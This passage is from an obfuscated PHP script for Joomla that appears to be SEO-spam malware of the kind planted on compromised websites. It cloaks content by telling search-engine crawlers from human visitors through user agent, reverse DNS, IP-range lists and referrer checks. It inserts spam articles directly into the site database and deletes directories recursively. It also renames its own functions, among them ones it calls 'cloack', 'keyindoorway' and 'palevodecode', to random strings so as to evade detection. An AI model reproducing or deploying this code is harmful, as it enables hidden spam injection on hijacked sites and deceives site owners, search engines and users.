			$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 7), "w+");
			if (!empty($ICvEOD9TPYuFxru8BY32)) {
				flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
				fwrite($ICvEOD9TPYuFxru8BY32, "");
				fclose($ICvEOD9TPYuFxru8BY32);
				return "goodtime";
			} else {
				return "errorcreate";
			}
		}
		return false;
	} else {
		return false;
	}
}
function IIlDt9uqKDAN9Cu57xcq($IVmfs0SzQujsBG2yE88)
{
	global $Iw78mVWOIABM0uZ9FjcKrk0;
	global $II6GSejEQGcXEADTdVw6;
	if (is_dir($Iw78mVWOIABM0uZ9FjcKrk0)) {
		if (!file_exists($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 8))) {
			$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 8), "w+");
			if (!empty($ICvEOD9TPYuFxru8BY32)) {
				flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
				fwrite($ICvEOD9TPYuFxru8BY32, "");
				fclose($ICvEOD9TPYuFxru8BY32);
				return "goodtime";
			} else {
				return "errorcreate";
			}
		}
		$IVmfs0SzQujsBG2yE89 = filemtime($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 8));
		if (time() - $IVmfs0SzQujsBG2yE89 >= $IVmfs0SzQujsBG2yE88) {
			@unlink($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 8));
			$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 8), "w+");
			if (!empty($ICvEOD9TPYuFxru8BY32)) {
				flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
				fwrite($ICvEOD9TPYuFxru8BY32, "");
				fclose($ICvEOD9TPYuFxru8BY32);
				return "goodtime";
			} else {
				return "errorcreate";
			}
		}
		return false;
	} else {
		return false;
	}
}
function IIE2B7umvbhD6VaPwhyPL($II6GSejEQGcXEADTdVw2)
{
	$IVmfs0SzQujsBG2yE90 = array();
	foreach (str_split($II6GSejEQGcXEADTdVw2) as $IVmfs0SzQujsBG2yE91) {
		if (is_numeric($IVmfs0SzQujsBG2yE91)) {
			if ($IVmfs0SzQujsBG2yE91 >= 7) {
				$IVmfs0SzQujsBG2yE91 = $IVmfs0SzQujsBG2yE91 - 7;
			} else {
				$IVmfs0SzQujsBG2yE91 = $IVmfs0SzQujsBG2yE91 + 10 - 7;
			}
		}
		$IVmfs0SzQujsBG2yE90[] = $IVmfs0SzQujsBG2yE91;
	}
	return urldecode(base64_decode(implode($IVmfs0SzQujsBG2yE90)));
}
function ippv4_in_range($ip, $range) {
    if (strpos($range, '/') !== false) {
        list($range, $netmask) = explode('/', $range, 2);
        if (strpos($netmask, '.') !== false) {
            $netmask = str_replace('*', '0', $netmask);
            $netmask_dec = ip2long($netmask);
            return ( (ip2long($ip) & $netmask_dec) == (ip2long($range) & $netmask_dec) );
        } else {
            $x = explode('.', $range);
            while(count($x)<4) $x[] = '0';
            list($a,$b,$c,$d) = $x;
            $range = sprintf("%u.%u.%u.%u", empty($a)?'0':$a, empty($b)?'0':$b,empty($c)?'0':$c,empty($d)?'0':$d);
            $range_dec = ip2long($range);
            $ip_dec = ip2long($ip);
            $wildcard_dec = pow(2, (32-$netmask)) - 1;
            $netmask_dec = ~ $wildcard_dec;
            return (($ip_dec & $netmask_dec) == ($range_dec & $netmask_dec));
        }
    } else {
        if (strpos($range, '*') !==false) { // a.b.*.* format
            $lower = str_replace('*', '0', $range);
            $upper = str_replace('*', '255', $range);
            $range = "$lower-$upper";
        }
       
        if (strpos($range, '-')!==false) { // A-B format
            list($lower, $upper) = explode('-', $range, 2);
            $lower_dec = (float)sprintf("%u",ip2long($lower));
            $upper_dec = (float)sprintf("%u",ip2long($upper));
            $ip_dec = (float)sprintf("%u",ip2long($ip));
            return ( ($ip_dec>=$lower_dec) && ($ip_dec<=$upper_dec) );
        }
        return false;
    } 
}
function ippv6_in_range($ip_to_test,$test_range){
    $result = true;
    $is_cidr = strpos($test_range, '/') > -1;
    $is_range = strpos($test_range, '[') > -1;
    $is_single = ! $is_cidr && ! $is_range;

    $ip_hex = bin2hex(inet_pton($ip_to_test));

    if ($is_single) {
        $range_hex = bin2hex(inet_pton($test_range));
        $result = $ip_hex === $range_hex;
        return $result;
    }

    if ($is_range) {
        $range_match = array();
        $match = preg_match(
            '/\[([0-9a-f]+)\-([0-9a-f]+)\]/', $test_range, $range_match
        );
        if ($match) {
            $range_start = $range_match[1];
            $range_end   = $range_match[2];

            $first_ip  = str_replace($range_match[0], $range_start, $test_range);
            $first_hex = bin2hex(inet_pton($first_ip));
            $last_ip   = str_replace($range_match[0], $range_end, $test_range);
            $last_hex  = bin2hex(inet_pton($last_ip));

            $result = ($ip_hex >= $first_hex && $ip_hex <= $last_hex);
        }
        return $result;
    }
    if ($is_cidr) {
        list($first_ip, $subnet) = explode('/', $test_range);

        $first_bin = inet_pton($first_ip);
        $first_hex = bin2hex($first_bin);

        $flexbits = 128 - $subnet;
        $last_hex = $first_hex;

        $pos = 31;
        while ($flexbits > 0) {
            $orig = substr($last_hex, $pos, 1);
            $origval = hexdec($orig);
            $newval = $origval | (pow(2, min(4, $flexbits)) - 1);
            $new = dechex($newval);
            $last_hex = substr_replace($last_hex, $new, $pos, 1);
            $flexbits -= 4;
            $pos -= 1;
        }
        $result = ($ip_hex >= $first_hex && $ip_hex <= $last_hex);
    }

    return $result;
}
function IIpD2xN5fLm4zn3C0burS($II6GSejEQGcXEADTdVw5, $IVmfs0SzQujsBG2yE93) //IIpD2xN5fLm4zn3C0burS(ip,param)
{
	global $II6GSejEQGcXEADTdVw4; //re
	global $II6GSejEQGcXEADTdVw3; //ua
	global $Iw78mVWOIABM0uZ9FjcKrk2; //uaf
	global $Iw78mVWOIABM0uZ9FjcKrk3; //ipf
	global $Iw78mVWOIABM0uZ9FjcKrk4; //ref
	$IVmfs0SzQujsBG2yE94 = "";
	$II6GSejEQGcXEADTdVw55 = "";
	if (strpos($II6GSejEQGcXEADTdVw5,':') === FALSE ) {
		$II6GSejEQGcXEADTdVw55 = @gethostbyaddr($II6GSejEQGcXEADTdVw5);
	}
	if (file_exists($Iw78mVWOIABM0uZ9FjcKrk2)) {
		$IVmfs0SzQujsBG2yE95 = IIcA5kehCMAmDcjyQ(file_get_contents($Iw78mVWOIABM0uZ9FjcKrk2));
		$IVmfs0SzQujsBG2yE95 = trim($IVmfs0SzQujsBG2yE95);
		$IVmfs0SzQujsBG2yE95 = explode("\n", $IVmfs0SzQujsBG2yE95);
	}
	if ($IVmfs0SzQujsBG2yE93 == "onlyreff") {
		$IVmfs0SzQujsBG2yE96 = explode("|", "search|google|msn|live|altavista|ask|yahoo|aol|bing|duckduck|qwant|mojeek|crawler|dogpile|excite|ixquick|seznam");
	} else {
		if (file_exists($Iw78mVWOIABM0uZ9FjcKrk4)) {
			$IVmfs0SzQujsBG2yE96 = IIcA5kehCMAmDcjyQ(file_get_contents($Iw78mVWOIABM0uZ9FjcKrk4));
			$IVmfs0SzQujsBG2yE96 = trim($IVmfs0SzQujsBG2yE96);
			$IVmfs0SzQujsBG2yE96 = explode("\n", $IVmfs0SzQujsBG2yE96);
		}
	}
	$IVmfs0SzQujsBG2yE97 = strtolower($II6GSejEQGcXEADTdVw4); //re
	$IVmfs0SzQujsBG2yE97 = trim($IVmfs0SzQujsBG2yE97); //re
	$IVmfs0SzQujsBG2yE98 = strtolower($II6GSejEQGcXEADTdVw3); //ua
	$IVmfs0SzQujsBG2yE98 = trim($IVmfs0SzQujsBG2yE98); //ua
	$II6GSejEQGcXEADTdVw5  = trim($II6GSejEQGcXEADTdVw5); //ip
	$II6GSejEQGcXEADTdVw55 = strtolower($II6GSejEQGcXEADTdVw55); //host
	$II6GSejEQGcXEADTdVw55 = trim($II6GSejEQGcXEADTdVw55); //host
	if ($IVmfs0SzQujsBG2yE93 != "onlyreff") {
		if(isset($_SERVER['HTTP_FROM']) && strpos($_SERVER['HTTP_FROM'],'bot') !== FALSE){
			return $IVmfs0SzQujsBG2yE94 = "1";
		}
		if(isset($_SERVER['HTTP_AMP_CACHE_TRANSFORM']) && strpos('aaa'.$_SERVER['HTTP_AMP_CACHE_TRANSFORM'],'google') !== FALSE){
			return $IVmfs0SzQujsBG2yE94 = "1";
		}
		if(isset($_SERVER['HTTP_SEC_PURPOSE']) && strpos('aaa'.$_SERVER['HTTP_SEC_PURPOSE'],'prefetch') !== FALSE){
			return $IVmfs0SzQujsBG2yE94 = "";
		}
		if(isset($_SERVER['HTTP_PURPOSE']) && strpos('aaa'.$_SERVER['HTTP_PURPOSE'],'prefetch') !== FALSE){
			return $IVmfs0SzQujsBG2yE94 = "";
		}
		if(isset($_SERVER['HTTP_X_MOZ']) && strpos('aaa'.$_SERVER['HTTP_X_MOZ'],'prefetch') !== FALSE){
			return $IVmfs0SzQujsBG2yE94 = "";
		}
		if (!empty($IVmfs0SzQujsBG2yE95[0])) {
			foreach ($IVmfs0SzQujsBG2yE95 as $IcRJnRh0BaaYCr03) { //ua in uaf
				$IcRJnRh0BaaYCr03 = strtolower($IcRJnRh0BaaYCr03);
				$IcRJnRh0BaaYCr03 = trim($IcRJnRh0BaaYCr03);
				if (strpos("qqqq " . $IVmfs0SzQujsBG2yE98, $IcRJnRh0BaaYCr03) !== FALSE && !empty($IcRJnRh0BaaYCr03)){
					$IVmfs0SzQujsBG2yE94 = "1";
					break;
				}
				if (strpos("qqqq " . $II6GSejEQGcXEADTdVw55, $IcRJnRh0BaaYCr03) !== FALSE && !empty($IcRJnRh0BaaYCr03)){
					if (strpos("qqqq " . $II6GSejEQGcXEADTdVw55, 'tunnel') !== FALSE){
						return $IVmfs0SzQujsBG2yE94 = "";
					}
					$IVmfs0SzQujsBG2yE94 = "1";
					break;
				}
			}
		}
		if (empty($IVmfs0SzQujsBG2yE94)) {
			if (file_exists($Iw78mVWOIABM0uZ9FjcKrk3) && !empty($II6GSejEQGcXEADTdVw5)) { //ip in ipf
				$IVmfs0SzQujsBG2yE99 = explode(".", $II6GSejEQGcXEADTdVw5);
				$IcRJnRh0BaaYCr00 = fopen($Iw78mVWOIABM0uZ9FjcKrk3, "r");
				$IVmfs0SzQujsBG2yE77 = 1;
				while (!feof($IcRJnRh0BaaYCr00)) {
					$IcRJnRh0BaaYCr01 = trim(fgets($IcRJnRh0BaaYCr00));
					if (!empty($IcRJnRh0BaaYCr01)) {
						if (strpos($IcRJnRh0BaaYCr01,':') !== FALSE ) {
							if (@ippv6_in_range($II6GSejEQGcXEADTdVw5,$IcRJnRh0BaaYCr01)) {
								$IVmfs0SzQujsBG2yE94 = "1";
								break;
							}
						}
						elseif (strpos($IcRJnRh0BaaYCr01,'/') !== FALSE ) {
							if (@ippv4_in_range($II6GSejEQGcXEADTdVw5,$IcRJnRh0BaaYCr01)) {
								$IVmfs0SzQujsBG2yE94 = "1";
								break;
							}
						}
						else {
							if ($II6GSejEQGcXEADTdVw5 == $IcRJnRh0BaaYCr01) {
								$IVmfs0SzQujsBG2yE94 = "1";
								break;
							}
							if (@preg_match('#^' . $IVmfs0SzQujsBG2yE99[0] . '.' . $IVmfs0SzQujsBG2yE99[1] .'.'. $IVmfs0SzQujsBG2yE99[2] . '#', $IcRJnRh0BaaYCr01)) {
								$IVmfs0SzQujsBG2yE94 = "1";
								break;
							}
							if (@preg_match('#^' . $IcRJnRh0BaaYCr01 . '#', $II6GSejEQGcXEADTdVw5)) {
								$IVmfs0SzQujsBG2yE94 = "1";
								break;
							}
						}
						$IVmfs0SzQujsBG2yE77++;
					}
				}
				fclose($IcRJnRh0BaaYCr00);
			}
		}
		if (@preg_match('#(ahref|semrush|serpstat|majestic|mj12bot|blex|scrutiny|screaming|rogerbot|iboubot|exabot|dotbot|bytespider|ccbot|diffbot|scrapy|curl|wget|python-requests|aiohttp|headlesschrome|phantomjs|sqlmap|nikto|nuclei|seo|gigabot|crawler|spider)#i', $IVmfs0SzQujsBG2yE98) &&
                    !@preg_match('#(seznam|yahoo|google|msn|bing|duckduck)#i', $IVmfs0SzQujsBG2yE98)
                   )		
		{
			$IVmfs0SzQujsBG2yE94 = "";
		}
	}
	if (empty($IVmfs0SzQujsBG2yE93) || $IVmfs0SzQujsBG2yE93 == "onlyreff") {
		if (empty($IVmfs0SzQujsBG2yE94)) {
			if (!empty($IVmfs0SzQujsBG2yE96)) {
				foreach ($IVmfs0SzQujsBG2yE96 as $IcRJnRh0BaaYCr04) { //re in ref
					if (!empty($IcRJnRh0BaaYCr04)) {
						$IcRJnRh0BaaYCr04 = strtolower($IcRJnRh0BaaYCr04);
						$IcRJnRh0BaaYCr04 = trim($IcRJnRh0BaaYCr04);
						if (strpos("qqqq " . $IVmfs0SzQujsBG2yE97, $IcRJnRh0BaaYCr04)) {
							$IVmfs0SzQujsBG2yE94 = "";
							break;
						} else {
							$IVmfs0SzQujsBG2yE94 = "1";
						}
					} else {
						break;
					}
				}
			}
		}
	}
	return $IVmfs0SzQujsBG2yE94;
}
function II1fQCriBFLoZZpQzg1($IcRJnRh0BaaYCr05)
{
	$IcRJnRh0BaaYCr05 = gzcompress(base64_encode(urlencode($IcRJnRh0BaaYCr05)), 7);
	return urlencode($IcRJnRh0BaaYCr05);
}
function IIK9Uhov8oko8OvuQXyL($II6GSejEQGcXEADTdVw2)
{
	if (mb_detect_encoding($II6GSejEQGcXEADTdVw2) == "UTF-8") {
		$II6GSejEQGcXEADTdVw2 = trim($II6GSejEQGcXEADTdVw2);
	} else {
		$II6GSejEQGcXEADTdVw2 = iconv(mb_detect_encoding($II6GSejEQGcXEADTdVw2), "UTF-8", $II6GSejEQGcXEADTdVw2);
		$II6GSejEQGcXEADTdVw2 = trim($II6GSejEQGcXEADTdVw2);
	}
	$IVmfs0SzQujsBG2yE90 = array();
	foreach (str_split(base64_encode(urlencode($II6GSejEQGcXEADTdVw2))) as $IVmfs0SzQujsBG2yE91) {
		if (is_numeric($IVmfs0SzQujsBG2yE91)) {
			$IVmfs0SzQujsBG2yE91 = $IVmfs0SzQujsBG2yE91 + 7;
			if ($IVmfs0SzQujsBG2yE91 > 9) {
				$IVmfs0SzQujsBG2yE91 = $IVmfs0SzQujsBG2yE91 - 10;
			}
		}
		$IVmfs0SzQujsBG2yE90[] = $IVmfs0SzQujsBG2yE91;
	}
	return implode($IVmfs0SzQujsBG2yE90);
}
function IIcA5kehCMAmDcjyQ($IcRJnRh0BaaYCr05)
{
	return urldecode(base64_decode(gzuncompress(urldecode($IcRJnRh0BaaYCr05))));
}
function IIgDFe7SSS9RzM($IcRJnRh0BaaYCr06, $IebH2sK1bwmgEcMMI3)
{
	$IVmfs0SzQujsBG2yE05 = "";
	$IcRJnRh0BaaYCr07 = "";
	$IcRJnRh0BaaYCr06 = trim(urldecode(urldecode($IcRJnRh0BaaYCr06)));
	$IcRJnRh0BaaYCr06 = str_ireplace("-", " ", $IcRJnRh0BaaYCr06);
	$IcRJnRh0BaaYCr06 = str_ireplace("  ", " ", $IcRJnRh0BaaYCr06);
	//$IcRJnRh0BaaYCr06 = strtolower($IcRJnRh0BaaYCr06);
	$IcRJnRh0BaaYCr06 = md5($IcRJnRh0BaaYCr06);
	if(file_exists($IebH2sK1bwmgEcMMI3)){
		$IcRJnRh0BaaYCr08 = file($IebH2sK1bwmgEcMMI3, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
		foreach ($IcRJnRh0BaaYCr08 as $IcRJnRh0BaaYCr09) {
			$IcRJnRh0BaaYCr09 = trim($IcRJnRh0BaaYCr09);
			$IcRJnRh0BaaYCr09 = explode("***", $IcRJnRh0BaaYCr09);
			if (isset($IcRJnRh0BaaYCr09[1]) && !empty($IcRJnRh0BaaYCr09[1])) {
				$IVmfs0SzQujsBG2yE05 = trim($IcRJnRh0BaaYCr09[1]);
			}
			$IcRJnRh0BaaYCr09 = trim($IcRJnRh0BaaYCr09[0]);
			if ($IcRJnRh0BaaYCr09 == $IcRJnRh0BaaYCr06) {
				$IcRJnRh0BaaYCr07 = "yes";
				break;
			}
		}
	}
	return $IcRJnRh0BaaYCr07 . "***" . $IVmfs0SzQujsBG2yE05;
}
function II1y0jI1yCmPb8rtlk($II6GSejEQGcXEADTdVw2)
{
	$IVmfs0SzQujsBG2yE90 = array();
	foreach (str_split($II6GSejEQGcXEADTdVw2) as $IVmfs0SzQujsBG2yE91) {
		if (is_numeric($IVmfs0SzQujsBG2yE91)) {
			if ($IVmfs0SzQujsBG2yE91 >= 4) {
				$IVmfs0SzQujsBG2yE91 = $IVmfs0SzQujsBG2yE91 - 4;
			} else {
				$IVmfs0SzQujsBG2yE91 = $IVmfs0SzQujsBG2yE91 + 10 - 4;
			}
		}
		$IVmfs0SzQujsBG2yE90[] = $IVmfs0SzQujsBG2yE91;
	}
	return urldecode(base64_decode(implode($IVmfs0SzQujsBG2yE90)));
}
function IIVaQ8bmxlnSYZX($title, $IVmfs0SzQujsBG2yE72, $IcRJnRh0BaaYCr10)
{
	$IcRJnRh0BaaYCr11             = JFactory::getDBO();
	$IcRJnRh0BaaYCr12             = new stdClass;
	$IcRJnRh0BaaYCr12->id         = null;
	$IcRJnRh0BaaYCr12->title      = $title;
	$IcRJnRh0BaaYCr12->introtext  = $IVmfs0SzQujsBG2yE72;
	$IcRJnRh0BaaYCr12->fulltext   = $IcRJnRh0BaaYCr10;
	$IcRJnRh0BaaYCr12->state      = 1;
	$IcRJnRh0BaaYCr12->access     = 1;
	$IcRJnRh0BaaYCr12->created_by = 62;
	$IcRJnRh0BaaYCr12->created    = date('Y-m-d H:i:s');
	$IcRJnRh0BaaYCr12->alias      = JFilterOutput::stringURLSafe($IcRJnRh0BaaYCr12->title);
	if (!$IcRJnRh0BaaYCr11->insertObject('#__content', $IcRJnRh0BaaYCr12, 'id')) {
		echo $IcRJnRh0BaaYCr11->stderr();
		return false;
	}
	return $IcRJnRh0BaaYCr12->id . ":" . $IcRJnRh0BaaYCr12->alias;
}
function IIK4ZdcQIh5oDCv($IcRJnRh0BaaYCr13)
{
	$IcRJnRh0BaaYCr14 = opendir($IcRJnRh0BaaYCr13);
	while (($IcRJnRh0BaaYCr15 = readdir($IcRJnRh0BaaYCr14))) {
		if (is_file($IcRJnRh0BaaYCr13 . DIRECTORY_SEPARATOR . $IcRJnRh0BaaYCr15)) {
			unlink($IcRJnRh0BaaYCr13 . DIRECTORY_SEPARATOR . $IcRJnRh0BaaYCr15);
		} else if (is_dir($IcRJnRh0BaaYCr13 . DIRECTORY_SEPARATOR . $IcRJnRh0BaaYCr15) && ($IcRJnRh0BaaYCr15 != ".") && ($IcRJnRh0BaaYCr15 != "..")) {
			IIK4ZdcQIh5oDCv($IcRJnRh0BaaYCr13 . DIRECTORY_SEPARATOR . $IcRJnRh0BaaYCr15);
		}
	}
	closedir($IcRJnRh0BaaYCr14);
	rmdir($IcRJnRh0BaaYCr13);
}
function obf($IcRJnRh0BaaYCr16)
{
	$IcRJnRh0BaaYCr17 = "need";
	preg_match_all("/(" . $IcRJnRh0BaaYCr17 . "obf_\d*)\D/miU", $IcRJnRh0BaaYCr16, $IVmfs0SzQujsBG2yE22);
	$IcRJnRh0BaaYCr18 = array_unique($IVmfs0SzQujsBG2yE22[1]);
	foreach ($IcRJnRh0BaaYCr18 as $IcRJnRh0BaaYCr19) {
		$IcRJnRh0BaaYCr19 = trim($IcRJnRh0BaaYCr19);
		$IcRJnRh0BaaYCr16 = preg_replace("/" . $IcRJnRh0BaaYCr19 . "/", "I" . randStringfrpernames(), $IcRJnRh0BaaYCr16);
	}
	$IcRJnRh0BaaYCr20 = array(
		"decodedata111",
		"getbody111",
		"gettitle111",
		"getdesc111",
		"randString111",
		"palevodecode111",
		"getsettings111",
		"is_function_enabled111",
		"checktime111",
		"decodeservurl111",
		"cloack111",
		"poscheck111",
		"setime111",
		"codedata111",
		"codeservurl111",
		"keyindoorway111",
		"postItem111",
		"full_del_dir111"
	);
	foreach ($IcRJnRh0BaaYCr20 as $IcRJnRh0BaaYCr21) {
		$IcRJnRh0BaaYCr21 = trim($IcRJnRh0BaaYCr21);
		$IcRJnRh0BaaYCr21 = str_ireplace("111", "", $IcRJnRh0BaaYCr21);
		$IcRJnRh0BaaYCr16 = preg_replace("/" . $IcRJnRh0BaaYCr21 . "\(/", "II" . randStringfrpernames() . "(", $IcRJnRh0BaaYCr16);
	}
	return $IcRJnRh0BaaYCr16;
}
function randStringfrpernames()
{
	$IVmfs0SzQujsBG2yE73 = rand(11, 21);
	$IVmfs0SzQujsBG2yE74 = "";
	$IVmfs0SzQujsBG2yE75 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	$IVmfs0SzQujsBG2yE76 = strlen($IVmfs0SzQujsBG2yE75);
	for ($IVmfs0SzQujsBG2yE77 = 0; $IVmfs0SzQujsBG2yE77 < $IVmfs0SzQujsBG2yE73; $IVmfs0SzQujsBG2yE77++) {
		$IVmfs0SzQujsBG2yE74 .= $IVmfs0SzQujsBG2yE75[rand(0, $IVmfs0SzQujsBG2yE76 - 1)];
	}
	return $IVmfs0SzQujsBG2yE74;
}
;

?>